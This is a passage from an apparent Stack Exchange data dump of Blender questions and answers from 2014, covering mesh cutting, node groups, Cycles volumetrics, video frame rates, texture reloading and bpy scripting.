  <row Id="14989" PostTypeId="1" AcceptedAnswerId="14990" CreationDate="2014-08-13T18:18:24.693" Score="20" ViewCount="52450" Body="&lt;p&gt;So I'm relatively new to Blender AND human modelling and was working on this low poly CG character. This torso was built from a cylinder primitive and now I want to split/slice at the very bottom face in two (then I can cut half of it and mirror, extrude the leg or whatever). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The face can't be subdivided and I just want to slice the face in two along the line (shown in the picture as a cyan line) connecting the center vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PLvXY.png&quot; alt=&quot;Cyan line is the slicing guide&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is Blender 2.66. What do I do to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="669" LastActivityDate="2015-07-20T18:14:55.790" Title="How to split/slice a polygon without subdivide?" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14990" PostTypeId="2" ParentId="14989" CreationDate="2014-08-13T18:19:55.467" Score="35" Body="&lt;p&gt;You could use the knife tool. Press &lt;kbd&gt;K&lt;/kbd&gt; and then click where you want to make cuts. Press &lt;kbd&gt;&amp;#9166; Enter&lt;/kbd&gt; or &lt;kbd&gt;Space&lt;/kbd&gt; to confirm:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O84Fv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could use the join tool. Select the vertices you want to connect with an edge and press &lt;kbd&gt;J&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DNeVq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-07-20T18:14:55.790" LastActivityDate="2015-07-20T18:14:55.790" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14991" PostTypeId="2" ParentId="14987" CreationDate="2014-08-13T18:31:23.713" Score="3" Body="&lt;p&gt;First, a workflow question about your scene: might it work just as well to set up a different scene in the same blend file, dividing the groups between the two scenes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, I think the fastest way within blender would be to save your blender file under a new name (or twice, each under it's own new name) and delete the objects in the group you want to split out in one copy, and delete all of the other objects in the other copy. (Keeping the original unchanged is just part of my standard workflow. I'm too afraid of deleting an object from both copies and losing it. Your mileage may vary.) &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-08-13T18:31:23.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14992" PostTypeId="1" CreationDate="2014-08-13T18:36:30.027" Score="4" ViewCount="846" Body="&lt;p&gt;I am currently having a problem while attempting to append a Node Group into a new file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I have followed the steps correctly; I created the node configuration, selected all the nodes, &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt;, saved to nodes1.blend; Opened a new file, &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F1&lt;/kbd&gt;, navigated to the Node Editor of nodes2.blend then pressed &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;&gt;Group, select the the group from nodes1.blend ... And there is a problem: the appended node is nowhere to be found. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The funny thing, is that when I go to Outliner &gt; Datablocks, I can see the Node Group has effectively being appended (see screenshot below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/haZv6.jpg&quot; alt=&quot;Screenshot of Group error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the Group is just not available in the Node Editor; Am I missing something? I used to do this all the time with other Blender versions; Has anything changed? Please help. .blend file on request.&lt;/p&gt;&#xA;" OwnerUserId="5606" LastEditorUserId="2217" LastEditDate="2014-08-24T00:23:55.987" LastActivityDate="2014-08-24T00:23:55.987" Title="Problem appending a Node Group in Blender 2.71" Tags="&lt;nodes&gt;&lt;append&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14994" PostTypeId="2" ParentId="14986" CreationDate="2014-08-13T19:32:48.160" Score="0" Body="&lt;p&gt;The blender game engine doesn't support IK rigs. I had the same problem some time ago. Unfortunatly I ended up recreating the animation. I then used the Auto IK function to still use IK. &lt;/p&gt;&#xA;" OwnerUserId="5607" LastEditorUserId="3127" LastEditDate="2014-08-13T20:27:32.163" LastActivityDate="2014-08-13T20:27:32.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14995" PostTypeId="1" AcceptedAnswerId="14996" CreationDate="2014-08-13T20:04:00.693" Score="17" ViewCount="3870" Body="&lt;p&gt;Is Cycles able to render voxel data from an external file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create the volumetric effects that I'm interested in by plugging a texture node into volume absorption and volume scatter shaders, then into an add shader. What I'm lacking is being able to use my own data, rather than only the built-in textures.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2019-08-25T08:27:25.597" Title="Voxel data in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;volumetrics&gt;" AnswerCount="4" CommentCount="20" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14996" PostTypeId="2" ParentId="14995" CreationDate="2014-08-13T20:22:24.667" Score="1" Body="&lt;p&gt;It is currently not possible to load external Voxel Data into cycles (but is in BI). The feature should be coming soon, as gandalf3 said: &lt;a href=&quot;https://developer.blender.org/T41179&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/T41179&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2018-09-17T20:38:25.407" LastActivityDate="2018-09-17T20:38:25.407" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="14997" PostTypeId="2" ParentId="14774" CreationDate="2014-08-13T20:45:14.430" Score="5" Body="&lt;p&gt;The bridge tool now has a merge toggle. You can enable this after performing the bridge.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-08-13T20:45:14.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14998" PostTypeId="2" ParentId="14989" CreationDate="2014-08-13T20:52:52.177" Score="4" Body="&lt;p&gt;Select both vertices and connect them.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mesh -&gt; Vertices -&gt; Connect &lt;code&gt;(menu)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;JKey &lt;code&gt;(shortcut)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While the knife can be used for this purpose too, for quick cuts this is faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also works...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Between many selected vertex pairs (you can connect multiple faces at once).&lt;/li&gt;&#xA;&lt;li&gt;Between 2 vertices - to connect vertices across multiple faces.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-08-14T20:53:45.760" LastActivityDate="2014-08-14T20:53:45.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14999" PostTypeId="1" AcceptedAnswerId="15001" CreationDate="2014-08-13T21:24:50.760" Score="16" ViewCount="21176" Body="&lt;p&gt;I have some footage with a weird frame rate of 57.19 fps. Is it possible to convert the footage to a frame rate of 24 fps? I know Adobe Premiere has that feature but does Blender?&lt;/p&gt;&#xA;" OwnerUserId="2387" LastActivityDate="2015-09-26T22:25:59.160" Title="How to change the frame rate of video" Tags="&lt;video&gt;&lt;conversion&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15000" PostTypeId="2" ParentId="14992" CreationDate="2014-08-13T21:45:58.973" Score="3" Body="&lt;p&gt;I found the solution to the issue.&lt;br&gt;&#xA;I was trying to add the node group in shader mode, and not in Composite mode, as I should be.&#xA;I thought I had set it to Composite, but I guess I hadn't. As soon as I changed to Composite mode in the Node Editor, everything worked as expected.&lt;/p&gt;&#xA;" OwnerUserId="5606" LastEditorUserId="2217" LastEditDate="2014-08-15T20:50:41.833" LastActivityDate="2014-08-15T20:50:41.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15001" PostTypeId="2" ParentId="14999" CreationDate="2014-08-13T21:47:34.400" Score="10" Body="&lt;p&gt;You can use a speed strip in the video sequence editor. The one disadvatage of this method is that you will need to recombine your audio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Import movie in the video sequence editor&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Effect Strip&lt;/em&gt;&gt;&lt;em&gt;Speed Control&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the speed to Current FPS/Target FPS.&lt;/li&gt;&#xA;&lt;li&gt;Render movie&lt;/li&gt;&#xA;&lt;li&gt;Bring it back into video sequence editor, along with original. Hide the video from the original, and the audio from the accelerated strips.&lt;/li&gt;&#xA;&lt;li&gt;Render again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-08-13T23:34:15.760" LastActivityDate="2014-08-13T23:34:15.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15003" PostTypeId="1" CreationDate="2014-08-14T01:31:22.207" Score="6" ViewCount="966" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MV9XA.jpg&quot; alt=&quot;node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.-I am making some low poly objects with normal maps in cycles. All of them are working correctly but when I plug a normal map in a object with a glass shader it becomes opaque with some reflections on the surface.&#xA;Is there an additional step to make normal maps work with a glass shader?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.-I discover something weird. The fact is that I am using a tangent space normal map(purple map), but if I change the setting in the normal node from tangent to object space(blue and yellow map) it seems to work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded a zip folder with the blend file and the normal map here:&#xA;&lt;a href=&quot;https://copy.com/ADi3bvAGpR9o&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://copy.com/ADi3bvAGpR9o&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3729" LastEditorUserId="3729" LastEditDate="2014-08-14T16:01:30.613" LastActivityDate="2014-10-03T22:35:29.070" Title="glass shader not working with normal map in cycles" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15004" PostTypeId="1" AcceptedAnswerId="15005" CreationDate="2014-08-14T03:07:51.673" Score="5" ViewCount="907" Body="&lt;p&gt;I've tried to find an answer but so far no luck. All of the ones I could find went over my head. So I'm caving in and asking this question myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very new to Blender and 3D stuff, so bear with me, but when I activate the toon shader, it gives me a weird jagged mess instead of a smooth curve. Must be something obvious I haven't noticed, but I can't figure it out. Here's what it looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1uRmk.png&quot; alt=&quot;ahhhhhhhh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody could enlighten me on what in the world is happening that would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5613" LastEditorUserId="241" LastEditDate="2020-01-21T18:43:17.480" LastActivityDate="2020-01-21T18:43:17.480" Title="Toon shader making jagged shadows" Tags="&lt;shaders&gt;&lt;npr&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15005" PostTypeId="2" ParentId="15004" CreationDate="2014-08-14T07:23:19.690" Score="6" Body="&lt;p&gt;Make sure your object is smooth shaded, as GiantCowFilms mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select it and press &lt;em&gt;smooth&lt;/em&gt; in &lt;em&gt;3D view &gt; toolbar&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;) &lt;em&gt;&gt; Tool &gt; Shading&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vs91P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-14T07:23:19.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15006" PostTypeId="1" CreationDate="2014-08-14T08:58:42.703" Score="0" ViewCount="294" Body="&lt;p&gt;I hope some of you are familiar with the open source render engine yafaray. I just installed it because I am working on a project where I have to render some interior camera animations. I read a lot about cycles being pain in the ass when it comes to interior scences and since my computer isn't fast at all, I was looking for some alternatives to improve my render Time. That's when I found Yafaray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I downloaded the engine from the following (I got this link from the official Yafaray Page):&#xA;&lt;a href=&quot;http://www.jensverwiebe.de/Jens_Verwiebe/Software.html&quot; rel=&quot;nofollow&quot;&gt;http://www.jensverwiebe.de/Jens_Verwiebe/Software.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it's the most recent software and I run Blender 2.71 .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, my problem is, that the promised &quot;Yafaray Export&quot;-Button doesn't show up in my Render menu list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any of you may know why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help in advance!&#xA;Marten&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2014-10-19T10:24:08.857" Title="Yafaray Export Button doesn't show in Blender Render Menu" Tags="&lt;rendering&gt;&lt;game-engine&gt;&lt;interface&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15007" PostTypeId="2" ParentId="6954" CreationDate="2014-08-14T10:25:39.097" Score="1" Body="&lt;p&gt;Have you tried the last Blender version ? I've seen that it now supports sharp edges with vertex normals, so no more edge splitting needed. That should theoretically works as Max is using something similar (You might have to use FBX export thought).&#xA;If that doesn't work you can still collapse the edge split modifier prior to export, it will break your sharp edges in two. It's less practical but gives the same visual result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're doing models for realtime keep in mind that sharp edges splits the uv islands in most game engine, which can very slightly reduce performance (sometime support edges are a better option). Cheers !&lt;/p&gt;&#xA;" OwnerUserId="5615" LastActivityDate="2014-08-14T10:25:39.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15008" PostTypeId="1" CreationDate="2014-08-14T13:04:30.137" Score="1" ViewCount="1003" Body="&lt;p&gt;I am using blender command line to render image . But before that I need to select active object as camera, which I am doing by calling &lt;code&gt;bpy.ops.view3d.object_as_camera()&lt;/code&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I am getting the wicked error &lt;code&gt;&#xA;Operator bpy.ops.view3d.object_as_camera.poll() failed, context is incorrect&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I do the following in Python Console in blender , the active camera is selected &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['Camera001-5'].select = True&#xA;bpy.context.scene.objects.active = bpy.data.objects['Camera001-5']&#xA;bpy.data.scenes[0].camera = bpy.data.objects['Camera001-5']&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        override = bpy.context.copy()&#xA;        override['area'] = area&#xA;        bpy.ops.view3d.object_as_camera(override)&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I run the script using blender command line, it gives error again.&#xA;What to do?&lt;/p&gt;&#xA;" OwnerUserId="5473" LastEditorUserId="55" LastEditDate="2014-08-16T01:18:11.477" LastActivityDate="2014-08-16T01:18:11.477" Title="Incorrect Context error when calling bpy.ops.view3d.object_as_camera()" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15010" PostTypeId="1" AcceptedAnswerId="20862" CreationDate="2014-08-14T14:59:56.813" Score="6" ViewCount="2199" Body="&lt;p&gt;I'm playing around with ways to visualize an MRI image of my head. I've extracted my brain, so there are non-zero brain voxels in the center, and zeros to the edge of the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm imagining having a corner cut out of my brain to expose its interior voxels like this: &lt;img src=&quot;https://i.stack.imgur.com/Jp7Y5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I've also got voxel-wise statistical data that I'd like to use as a semi-transparent overlay on the anatomical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this setup possible?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-12-12T21:53:29.063" Title="Rendering a 3D volume" Tags="&lt;volumetrics&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15011" PostTypeId="1" CreationDate="2014-08-14T17:49:00.730" Score="0" ViewCount="35" Body="&lt;p&gt;I have been trying to put an image in blender so I can make a 3d model of it but it does not seem to show up. Any good tutorials for blender 2.71 to show me how it is done? Thanks&lt;/p&gt;&#xA;" OwnerUserId="5561" LastActivityDate="2014-08-14T17:49:00.730" Title="Make a model from image" Tags="&lt;modeling&gt;&lt;image&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-08-14T19:10:34.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="15012" PostTypeId="1" AcceptedAnswerId="15013" CreationDate="2014-08-14T17:54:54.857" Score="3" ViewCount="181" Body="&lt;p&gt;Starting from this situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iHbEc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subdividing &lt;kbd&gt;W&lt;/kbd&gt; the inner rectangle leads to the following model, please notice that the center points of the adjacent rectangles have been displaced. Subdividing other rectangles is no longer possible. &#xA;To analyze the behaviour, I tried to subdivide the outer regions first this works flawless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4yqaB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View from vertex mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xsjdX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/30973&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-08-14T19:00:02.567" LastActivityDate="2014-08-14T19:00:02.567" Title="Why can only one inner region of a plane be subdivided?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15013" PostTypeId="2" ParentId="15012" CreationDate="2014-08-14T18:26:52.090" Score="3" Body="&lt;p&gt;The outer faces are now ngons. When you try and subdivide the outer faces they &lt;em&gt;are&lt;/em&gt; being subdivided, which you can see when going into vertex mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2DHDW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The subdivision can't happen like before because while the faces &lt;em&gt;appear&lt;/em&gt; to be rectangles, the topology is no longer quad based.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-08-14T18:39:48.883" LastActivityDate="2014-08-14T18:39:48.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15014" PostTypeId="2" ParentId="15008" CreationDate="2014-08-14T20:01:43.953" Score="4" Body="&lt;p&gt;So it turns out - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to add &lt;code&gt;area.spaces.active.region_3d.view_perspective = 'CAMERA'&lt;/code&gt;&#xA;this in the loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got my answer on &lt;a href=&quot;http://blenderartists.org/&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/&lt;/a&gt;. Just sharing for the community.&lt;/p&gt;&#xA;" OwnerUserId="5473" LastActivityDate="2014-08-14T20:01:43.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15015" PostTypeId="1" AcceptedAnswerId="15016" CreationDate="2014-08-14T22:06:17.827" Score="22" ViewCount="37303" Body="&lt;p&gt;I am working on a scene, and using CrazyBump to export Displacement and Normal maps; I want to tweak the textures, but currently I need to restart Blender before they update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to refresh them, without restarting Blender?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="12" LastEditDate="2014-08-14T23:00:48.457" LastActivityDate="2016-12-10T02:39:56.023" Title="How to refresh loaded textures" Tags="&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15016" PostTypeId="2" ParentId="15015" CreationDate="2014-08-14T22:10:41.073" Score="34" Body="&lt;p&gt;With the texture displayed in the &lt;em&gt;UV/image editor&lt;/em&gt;, press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; or &lt;em&gt;Header &gt; Image &gt; Reload image&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HeuqZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a refresh button on the source selector for any image datablock. &lt;strong&gt;In the node editor, the full datablock settings are in the Properties region.&lt;/strong&gt; To reveal this region, place your mouse over the node editor view and press &lt;kbd&gt;N&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Bkez.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-08-26T21:09:41.090" LastActivityDate="2015-08-26T21:09:41.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15017" PostTypeId="1" CreationDate="2014-08-15T03:43:01.407" Score="0" ViewCount="31" Body="&lt;p&gt;I want to create a 3D representation of data where the representation is a plot of a set of values as displacement differences along one axis, relative to the other two axes. Since I've never had what I though was a really good idea that someone else hasn't had first, I'm sure that a script must exist that would take a table of data as input, and map it to the vertices of grid object. But I have been unsuccessful in finding the right combination of search terms either to find such a script, or to find a listing of Blender scripts where such a script might be located (somewhat like the GIMP repository). Does such a repository exist, and I'm just too inept to find it? And even if the repository does not yet exist (and I think it would be a really good idea to have one), does such a script exist?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-08-15T03:43:01.407" Title="Where are the repositories for Blender add-ons and scripts?" Tags="&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-08-15T12:12:03.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="15019" PostTypeId="1" AcceptedAnswerId="15020" CreationDate="2014-08-15T10:03:11.017" Score="9" ViewCount="307" Body="&lt;p&gt;I was messing around in blender when I noticed that my view was snapped to an object. When I moved it so did my view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://giant.gfycat.com/DelayedEmptyBlackfish.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this feature and how can I enable/disable it?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.400" LastActivityDate="2014-08-16T00:42:20.450" Title="Why has my view snapped to this object?" Tags="&lt;interface&gt;&lt;workflow&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-08-15T21:07:12.737" ContentLicense="CC BY-SA 3.0" />
  <row Id="15020" PostTypeId="2" ParentId="15019" CreationDate="2014-08-15T10:14:32.647" Score="10" Body="&lt;p&gt;This is a feature called View Lock, wich is enabled by pressing &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Numpad .&lt;/kbd&gt;, and disabled by pressing &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Numpad .&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also access it from the menus like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VShxk.png&quot; alt=&quot;Clear View Lock&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-08-15T10:46:30.407" LastActivityDate="2014-08-15T10:46:30.407" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15021" PostTypeId="1" CreationDate="2014-08-15T12:20:14.227" Score="0" ViewCount="540" Body="&lt;p&gt;How can I use greek letters for text in Blender 2.71 OSX? I need to use a lower case delta for a partial charge symbol in a chemistry reaction animation.&lt;/p&gt;&#xA;" OwnerUserId="4940" LastActivityDate="2014-08-15T12:20:14.227" Title="Greek letters in Blender OSX" Tags="&lt;text-object&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-08-15T14:50:10.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="15023" PostTypeId="1" CreationDate="2014-08-15T13:45:22.170" Score="1" ViewCount="820" Body="&lt;p&gt;I have two items showing on my screen layout drop-down list (blender 2.71). Clicking on them takes me to the file browser screen, where the screen layout list doesn't show, so I can really delete them. If I click Back to Previous, it takes me to the addons screen.&#xA;How can I get rid of these two items, or clear the screen layout list?&lt;/p&gt;&#xA;" OwnerUserId="5625" LastActivityDate="2014-08-15T19:48:03.983" Title="Clearing Screen Layout List" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15024" PostTypeId="2" ParentId="15023" CreationDate="2014-08-15T14:29:16.817" Score="2" Body="&lt;p&gt;The following code will remove all screens from &lt;code&gt;bpy.data.screens&lt;/code&gt; except the last one (because there must always be at least one screen):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for screen in bpy.data.screens:&#xA;    bpy.ops.screen.delete({'screen': screen})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no RNA method to remove screens. In general, you shouldn't deal with screens a lot with Python scripts, because the API is incomplete and not fully working (joining is buggy and requires coordinates of the split/join widgets for instance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modal areas like the file selector a special, as well as other maximized areas, which create a additional, temporary screen.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-08-15T14:29:16.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15027" PostTypeId="2" ParentId="7394" CreationDate="2014-08-15T18:14:08.830" Score="2" Body="&lt;p&gt;You can actually quite a bit with just a few drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Fo96Q.gif&quot; alt=&quot;gif of drivers in action&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not going to explain the entire process, but I'll cover a lot of the more interesting points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't already, learn how &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;drivers work&lt;/a&gt; (here's &lt;a href=&quot;https://www.youtube.com/watch?v=jMoBFzXFAUM&amp;amp;list=TLlfgsuwZVAMSZgCYFrz6d8gAM5hPqdM7m&quot; rel=&quot;nofollow noreferrer&quot;&gt;a tutorial I made&lt;/a&gt;). They're an &lt;em&gt;extremely&lt;/em&gt; powerful way to control different object attributes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the barrel recoil, I created a driver that makes the barrel follows the position of an empty (the one moving back and forth). The position of each section of the barrel is just controlled by a custom curve (offset for the back section so it follows slower). This is the curve of one section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fCV0C.png&quot; alt=&quot;graph&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three bullets at the beginning of the animation hidden in the back of the barrel. I couldn't figure out how to dynamically add them while the animation was playing. There might be a hacky way to do it with a particle system, but I decided that hiding them was the simplest solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing to 